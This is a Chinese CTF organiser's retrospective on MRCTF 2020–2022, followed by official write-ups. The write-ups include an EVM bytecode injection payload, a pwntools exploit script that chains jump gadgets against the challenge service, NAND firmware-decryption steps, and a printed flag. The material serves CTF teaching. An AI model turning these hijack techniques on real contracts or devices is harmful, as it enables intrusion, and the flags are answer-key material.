原文始发于Retr_0:MRCTF2022 后记 & ETH IOT 官方题解 By Retr_0
总结
MRCTF2022 结束了,我想这次比赛对我们整个队伍是一个非常重要的活动,还记得2020年办第一次的时候 还是特别简单的赛题,当时记得 mcfx, p3,ha1这些正在成长中的大佬就来参加了比赛。当时对于MRCTF2020的定位还仅仅是一个校内赛,但是由于种种原因就办成了国内的一个比赛。又因为由于有“北邮”这个标签,第一次比赛也有很多人来参加。我们当时都还是19级、18级的刚刚打完校内 TSCTF-J的一群菜鸟,当时是希望能认识更多校内有相关兴趣的人。
现在想想还是应该感谢那次比赛,没有那次比赛可能我们的队伍会缺少:LLeaves、h0lyduck等等朋友们。
然后由于还没摸到进入正式比赛的门槛 我们还一直在各个比赛的初赛摸索。。。基本是进入不到线下赛,为了更多的参加比赛我们选择参加了 安恒月赛这种频率较高的比赛。当时有不少学长带我们参加这种级别的比赛,比如征哥、小泽哥等等 然后 Lord和几个我们天璇战队的也是基本场场参加。 总而言之就是慢慢能成功进入线下赛了。
后来转眼到了2021年,在年初其实就开始计划2021了,当时各个队员的水平也达到了一定程度。现在回想起来 当时的赛题在Pwn、密码以及Misc方向也算还能接受。为了彻底和 MRCTF2020 “划清界限” 。Eki就开始写平台了,平台效果非常好是根据我们之前参加的一个国外比赛弄得。然后赛题基本是由几个核心师傅出的,赛题不是特别多、质量在当时还算可以,前两天找到了另一个师傅的pwn wp,也属于是全网仅一份了。当时 coin,wjh几个大师傅来捧场了,密码还发现了一个隐藏的大哥 后来问他的时候 他表示只是个 国企“打工人”随便来玩玩 感觉还挺好的。总之还是知名度较低的一场比赛。在之后我们这批人基本也都进入了校队 做为主要梯队参加各个比赛了。然后发展各个学弟开始学习。
到2021年末的时候 也是机缘巧合结实了在微步工作的北邮学长。然后就准备和学校社团这边对接一些联合活动。或者一些校招实习绿卡等等。后来我们还想办MRCTF的时候就想到了 我们的这一合作伙伴。 他们也十分理解这一情况 非常支持我们办赛在假期回去前 还有几个师傅去微步公司和对接聊了很多,春节期间我们自己 完成了整个方案制订。并且我就提出是否能让微步也来出几道题给大家,让大家了解下真实的渗透场景以及工作是什么样的。
后来就是进行有条不紊的宣传、出题,这个时候我们的出题组达到了20+人,每个人都在自己比较擅长的领域给出了一些赛题。虽然说质量参差不齐,但我觉得从总体上我是非常满意的。尤其是看了他们写的wp之后也觉得这写题目也非常值得看一看。到了第一次宣传的时候 我就开始给各个比较熟悉的战队发邀请函, 非常感谢W&M、r4kapig及时捧场。同时也邀请了脑王@Nano 来参加比赛。Nano组建队伍之后,我就发现他的队伍有一个不太熟悉的ID,就去搜了下,结果发现竟然是高中时学OI的一个大佬学弟。目前已经在AAA参加比赛了。而我当时和AAA的各位大佬也不熟悉,就正好通过我的学弟邀请到了他所在的整个战队来参赛,在这里也非常感谢AAA的师傅们。
本来我们选择的比赛日还没有其他比赛安排,结果临近比赛日的时候就发现和其他比赛“撞车“了。不过还好还是有很多师傅来参加了。
后来开赛的时候就发现完全高看了平台的承受能力,上来排行榜炸了、平台由于带宽不够也炸了。然后就是扩容、不断地修平台。感谢两位运维师傅,本次比赛我个人觉得二进制的赛题是非常高质量的。 Pwn、Reverse 都是 几位师傅 花费很多心血出的,AAA的师傅实在是二进制方向的神,除去一道放题时间较晚的RE题,其他的二进制题全部完成 而且近似于都是一血(可能有2、3个不是)。最后以30+题目的完成度遥遥领先。W&M的师傅完成了所有的Web和微步特殊赛题。 在凌晨还在坚持解题。r4kapig的师傅在各个方向都有不错的成绩。
总的来说 也非常感谢来参加的其他队伍(排名不分前后):包括L、Vidar、CNSS、Lilac、天命、Nebula、D1n0、EDI、NGTM、Syclover、Xp0int、Sloth等等。
有着这样不错结果的同时我们也觉得有很多遗憾,比如还是参加的队伍比较少,排行榜上的变数并不是特别大,平台以及部分题目还是出现各种各样的问题。
不知道我个人还是否会继续参办组织明年的MRCTF,或者说我们也不知道是否还会有这么好的机会 以及 这么多的师傅来支持出题。不过我还是更希望能有一个更远的传承吧。
ETH
SandSandSand
这题其实本来想出EIP-2929那个特性的,不过想想算了 感觉大家都应该在虎符那道题学到了。所以出了一个简单题。(flag都懒得改了)
在staticcall revert 在正常call通过即可。
利用SSTORE或者其他的 selfdestruct等等均可。
Jop_Gadget
这道题其实算是出现了比较多的问题。因为所有的做这道题的师傅都来check我是如何将值PUSH进栈的,并且如何实现整个跳转结果的。
这就代表了我的题目描述不清,并且整个流程体系不清晰,没有给选手一个很好的感受。非常抱歉对于各位师傅造成的困扰。
这道题是我在学习JOP的时候,发现找gadget是一个比较麻烦的事情,是否能够实现一个快速找gadget的办法呢?因为其实虽然evm是变长指令,但是他没办法像rop那样实现比较特殊的将指令中间截断进行跳转。而且JUMP的目标需要为JUMPDEST否则就会Revert了。
但这道题其实没有多复杂,因为我意识到这其实是CTF比赛 也不是安全产品开发大赛,如果单纯就是那样做开发 找gadget去跳转就没意思了。所以我想到了赣网杯看到的那个字节码填空题,虽然我让你输入JUMP的地址,但是你可以在地址后多加字节码从而直接劫持控制流。当然这样这道题就变得简单起来了。
所以这里的输入被我操作了很多,于是我并没有直接提供源码,而是给出了报错信息,也是希望大家能多多fuzz(x 我出题时也准备在hint 以及题目描述中提供更多这方面的提示。
不过后来看到了Nano的一句话感觉学到很多:如果在出题的时候就已经想到了放hint,为什么不把他直接加到题目里。
整个题目主要就是有 PUSH、DUP、JUMPDEST、JUMP、MSTORE、RETURN 指令。
简单解
如果按照我上面所说的解法。那么这里的 exp就是:
0xdead600160805260206080f300
给出一个0xdead作为填充,然后后面直接加入要执行的shellcode劫持控制流。
稍微麻烦一点的
如果没有想到这一点,我们可以统计下给出的bytecode中的gadget,可以每一个生成的都有
JUMPDEST
MSTORE
JUMP
JUMPDEST
RETURN
STOP
这两个gadget。那么我们可以提前把所需要的值全部push进去。先跳转到MSTORE的gadget然后MSTORE,之后跳转到RETURN gadget将其返回。
我这里写出了一份exp:
from pwn import *
from pyevmasm import assemble_hex,disassemble_hex
import re
data1="""
JUMPDEST
MSTORE
JUMP
"""
data2="""
JUMPDEST
RETURN
STOP
"""
p=remote("localhost",1337)
p.recvuntil(b"Input > ")
p.sendline(b'2')
temp=p.recvuntil(b"\n")[8:-1]
temps=temp.decode('utf-8')
MSTORE_GADGET=assemble_hex(data1)[2:]
RETURN_GADGET=assemble_hex(data2)[2:]
ms_addr=temps.find(MSTORE_GADGET)
RT_addr=temps.find(RETURN_GADGET)
print(MSTORE_GADGET)
print(RETURN_GADGET)
print(temps)
print(ms_addr,RT_addr)
print(temps[ms_addr:ms_addr+6],temps[RT_addr:RT_addr+6])
RTADDRESS=RT_addr/2
MS_ADDRESS=ms_addr/2
"""
PUSH2 0x01
PUSH2 0x80
MSTORE
PUSH2 0x20
PUSH2 0x80
RET STOP
PUSH2 0x20
PUSH2 0x80
PUSH2 JUMPGADGET_RET
PUSH2 0x01
PUSH2 0x80
PUSH2 RET gadget
"""
payload="0x0014,0x0065,"+"0x"+hex(int(RTADDRESS))[2:].rjust(4,'0')+",0x00ed,0x006d,"+"0x"+hex(int(MS_ADDRESS))[2:].rjust(4,'0')
print(payload)
p.recvuntil(b"INPUT YOUR JUMP:")
p.sendline(payload.encode('utf-8'))
p.interactive()
可以稳定获得flag。
IOT
同时IOT师傅的 简要题解也在我这里放了。
说在前面的话:
本题是受实际科研项目工作启发,附件均是出自实际设备。根据题目描述,是从编程器提取的固件中进行恢复,若能恢复出部分关键程序,分析其中的解密逻辑,即可对官网固件包进行解密。
- 根据.BIN文件名,有经验的(搜索)可以发现是海思某款芯片的型号。查datasheet
http://www.datasheetbank.com/datasheet-download/881341/1/Spansion/S34ML02G200BHI000
- Nand Flash分析最大的难点在于OOB及校验值的分析。这部分是如何组织的需要根据datasheet以及010 editor观察分析其中的规律。这里给个提示,可以看看一些特殊页的值猜测分析。
- 去除校验后,对固件进行重组,虽未能完整提取,但可提出ext2文件系统。
- 在其中搜索关键字符串,可定位到解密程序,进行逆向分析,可以轻松的发现具体解密逻辑。
- 知道解密逻辑后,对官网包进行解密,发现完整的文件系统。
FLAG: MRCTF{N@nD_FL@SH_00B}
总结
这次比赛出的3道题还是比较一般 或者说有点失败,1个ETH太guessy,一个Misc前面的RTP考察的还是有一定意义的,但是后面的LSB感觉确实有点硬加的意思。或者说为了加一个难度吧,不过可能还是对我来说是一种全新的尝试,希望自己也能通过这次比赛学到一些东西,以后在设计赛题的时候避免这些问题。出一些高质量的题目